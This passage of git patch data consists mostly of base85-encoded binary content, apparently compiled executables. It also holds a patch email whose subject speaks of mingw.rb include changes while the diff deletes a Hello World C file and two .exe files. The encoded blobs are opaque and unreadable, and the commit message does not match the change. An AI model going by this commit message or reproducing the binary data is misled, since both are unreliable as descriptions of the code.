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 Date: Wed, 15 Mar 2023 20:54:27 +0100 Subject: [PATCH 027/415] Added changes to mingw.rb to allow custom iquote include dirs --- OK.c | 12 ------------ OK.exe | Bin 239569 -> 0 bytes a.exe | Bin 240343 -> 0 bytes 3 files changed, 12 deletions(-) delete mode 100644 OK.c delete mode 100755 OK.exe delete mode 100755 a.exe diff --git a/OK.c b/OK.c deleted file mode 100644 index 76e959d984d0f..0000000000000 --- a/OK.c +++ /dev/null @@ -1,12 +0,0 @@ - -#include -#include -#include "rc4.h" - - -int main(int argc, char **argv) -{ - char str[] = "Hello World!"; - printf("%s\n", str); - return 0; -} \ No newline at end of file diff --git a/OK.exe b/OK.exe deleted file mode 100755 index 754fe6eeb28e4caa3112c95e099fbd37086bbaf6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 239569 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 